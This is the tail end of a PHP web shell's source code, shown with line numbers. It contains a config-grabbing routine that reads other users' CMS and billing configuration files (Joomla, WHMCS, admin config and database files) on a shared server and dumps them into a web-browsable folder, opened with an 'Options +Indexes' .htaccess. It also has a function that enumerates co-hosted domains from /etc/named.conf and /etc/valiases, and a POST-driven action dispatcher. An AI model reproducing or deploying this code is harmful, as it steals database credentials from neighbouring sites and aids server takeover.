1868 fwrite($handle, $content21 . $space);
1869 fclose($handle);
1870 } elseif (file_exists('/home/' . $lol . '/public_html/main/configuration.php')) {
1871 $content22 = file_get_contents('/home/' . $lol . '/public_html/main/configuration.php');
1872 $handle = fopen('PHOENIX/config.txt', 'a');
1873 fwrite($handle, $content22 . $space);
1874 fclose($handle);
1875 } elseif (file_exists('/home/' . $lol . '/public_html/home/configuration.php')) {
1876 $content23 = file_get_contents('/home/' . $lol . '/public_html/home/configuration.php');
1877 $handle = fopen('PHOENIX/config.txt', 'a');
1878 fwrite($handle, $content23 . $space);
1879 fclose($handle);
1880 } elseif (file_exists('/home/' . $lol . '/public_html/site/configuration.php')) {
1881 $content24 = file_get_contents('/home/' . $lol . '/public_html/site/configuration.php');
1882 $handle = fopen('PHOENIX/config.txt', 'a');
1883 fwrite($handle, $content24 . $space);
1884 fclose($handle);
1885 } elseif (file_exists('/home/' . $lol . '/public_html/whm/configuration.php')) {
1886 $content25 = file_get_contents('/home/' . $lol . '/public_html/whm/configuration.php');
1887 $handle = fopen('POPANDA/config.txt', 'a');
1888 fwrite($handle, $content25 . $space);
1889 fclose($handle);
1890 } elseif (file_exists('/home/' . $lol . '/public_html/whmc/configuration.php')) {
1891 $content26 = file_get_contents('/home/' . $lol . '/public_html/whmc/configuration.php');
1892 $handle = fopen('POPANDA/config.txt', 'a');
1893 fwrite($handle, $content26 . $space);
1894 fclose($handle);
1895 } elseif (file_exists('/home/' . $lol . '/public_html/support/configuration.php')) {
1896 $content27 = file_get_contents('/home/' . $lol . '/public_html/support/configuration.php');
1897 $handle = fopen('POPANDA/config.txt', 'a');
1898 fwrite($handle, $content27 . $space);
1899 fclose($handle);
1900 } elseif (file_exists('/home/' . $lol . '/public_html/client/configuration.php')) {
1901 $content28 = file_get_contents('/home/' . $lol . '/public_html/client/configuration.php');
1902 $handle = fopen('PHOENIX/config.txt', 'a');
1903 fwrite($handle, $content28 . $space);
1904 fclose($handle);
1905 } elseif (file_exists('/home/' . $lol . '/public_html/billings/configuration.php')) {
1906 $content29 = file_get_contents('/home/' . $lol . '/public_html/billings/configuration.php');
1907 $handle = fopen('PHOENIX/config.txt', 'a');
1908 fwrite($handle, $content29 . $space);
1909 fclose($handle);
1910 } elseif (file_exists('/home/' . $lol . '/public_html/billing/configuration.php')) {
1911 $content30 = file_get_contents('/home/' . $lol . '/public_html/billing/configuration.php');
1912 $handle = fopen('PHOENIX/config.txt', 'a');
1913 fwrite($handle, $content30 . $space);
1914 fclose($handle);
1915 } elseif (file_exists('/home/' . $lol . '/public_html/clients/configuration.php')) {
1916 $content31 = file_get_contents('/home/' . $lol . '/public_html/clients/configuration.php');
1917 $handle = fopen('PHOENIX/config.txt', 'a');
1918 fwrite($handle, $content31 . $space);
1919 fclose($handle);
1920 } elseif (file_exists('/home/' . $lol . '/public_html/whmcs/configuration.php')) {
1921 $content32 = file_get_contents('/home/' . $lol . '/public_html/whmcs/configuration.php');
1922 $handle = fopen('PHOENIX/config.txt', 'a');
1923 fwrite($handle, $content32 . $space);
1924 fclose($handle);
1925 } elseif (file_exists('/home/' . $lol . '/public_html/order/configuration.php')) {
1926 $content33 = file_get_contents('/home/' . $lol . '/public_html/order/configuration.php');
1927 $handle = fopen('PHOENIX/config.txt', 'a');
1928 fwrite($handle, $content33 . $space);
1929 fclose($handle);
1930 } elseif (file_exists('/home/' . $lol . '/public_html/admin/conf.php')) {
1931 $content34 = file_get_contents('/home/' . $lol . '/public_html/admin/conf.php');
1932 $handle = fopen('PHOENIX/config.txt', 'a');
1933 fwrite($handle, $content34 . $space);
1934 fclose($handle);
1935 } elseif (file_exists('/home/' . $lol . '/public_html/admin/config.php')) {
1936 $content35 = file_get_contents('/home/' . $lol . '/public_html/admin/config.php');
1937 $handle = fopen('PHOENIX/config.txt', 'a');
1938 fwrite($handle, $content35 . $space);
1939 fclose($handle);
1940 } elseif (file_exists('/home/' . $lol . '/public_html/conf_global.php')) {
1941 $content36 = file_get_contents('/home/' . $lol . '/public_html/conf_global.php');
1942 $handle = fopen('PHOENIX/config.txt', 'a');
1943 fwrite($handle, $content36 . $space);
1944 fclose($handle);
1945 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
1946 $content37 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
1947 $handle = fopen('PHOENIX/config.txt', 'a');
1948 fwrite($handle, $content37 . $space);
1949 fclose($handle);
1950 } elseif (file_exists('/home/' . $lol . '/public_html/connect.php')) {
1951 $content38 = file_get_contents('/home/' . $lol . '/public_html/connect.php');
1952 $handle = fopen('PHOENIX/config.txt', 'a');
1953 fwrite($handle, $content38 . $space);
1954 fclose($handle);
1955 } elseif (file_exists('/home/' . $lol . '/public_html/mk_conf.php')) {
1956 $content39 = file_get_contents('/home/' . $lol . '/public_html/mk_conf.php');
1957 $handle = fopen('PHOENIX/config.txt', 'a');
1958 fwrite($handle, $content39 . $space);
1959 fclose($handle);
1960 } elseif (file_exists('/home/' . $lol . '/public_html/include/config.php')) {
1961 $content40 = file_get_contents('/home/' . $lol . '/public_html/include/config.php');
1962 $handle = fopen('PHOENIX/config.txt', 'a');
1963 fwrite($handle, $content40 . $space);
1964 fclose($handle);
1965 } elseif (file_exists('/home/' . $lol . '/public_html/settings.php')) {
1966 $content41 = file_get_contents('/home/' . $lol . '/public_html/settings.php');
1967 $handle = fopen('PHOENIX/config.txt', 'a');
1968 fwrite($handle, $content41 . $space);
1969 fclose($handle);
1970 } elseif (file_exists('/home/' . $lol . '/public_html/includes/functions.php')) {
1971 $content42 = file_get_contents('/home/' . $lol . '/public_html/includes/functions.php');
1972 $handle = fopen('PHOENIX/config.txt', 'a');
1973 fwrite($handle, $content42 . $space);
1974 fclose($handle);
1975 } elseif (file_exists('/home/' . $lol . '/public_html/include/db.php')) {
1976 $content43 = file_get_contents('/home/' . $lol . '/public_html/include/db.php');
1977 $handle = fopen('PHOENIX/config.txt', 'a');
1978 fwrite($handle, $content43 . $space);
1979 fclose($handle);
1980 }
1981 }
1982 $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/PHOENIX/';
1983 if (file_exists("PHOENIX/config.txt")) {
1984 echo '<h3 class="PHOENIX"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></h3>';
1985 $myfile = fopen("PHOENIX/.htaccess", "w") or die("Unable to open file!");
1986$txt = "Options +Indexes";
1987fwrite($myfile, $txt);
1988fclose($myfile);
1989 } else {
1990 echo '<h3 class="PHOENIX"><center><a href="' . $url . '" target="_blank"> 0 Config Grab :( </a></h3>';
1991 }
1992
1993 printFooter();
1994}
1995
1996function actionShared() {
1997 printHeader();
1998 $file = @implode(@file("/etc/named.conf"));
1999if (!$file) {
2000die("# can't ReaD -> [ /etc/named.conf ]");
2001}
2002preg_match_all("#named/(.*?).db#", $file, $r);
2003$domains = array_unique($r[1]);
2004{
2005foreach ($domains as $domain) {
2006$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2007$array= "http://$domain " . $user['name'] . "<br>";
2008$lol= '' . get_current_user();
2009if (strpos($array, "$lol") !== false) {
2010$shared = str_replace(array(" $lol"), "", $array);
2011echo "<center>$shared";
2012}
2013}
2014}
2015 printFooter();
2016}
2017
2018if( empty($_POST['a']) )
2019 if(isset($default_action) && function_exists('action' . $default_action))
2020 $_POST['a'] = $default_action;
2021 else
2022 $_POST['a'] = 'SecInfo';
2023if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2024 call_user_func('action' . $_POST['a'])
2025?>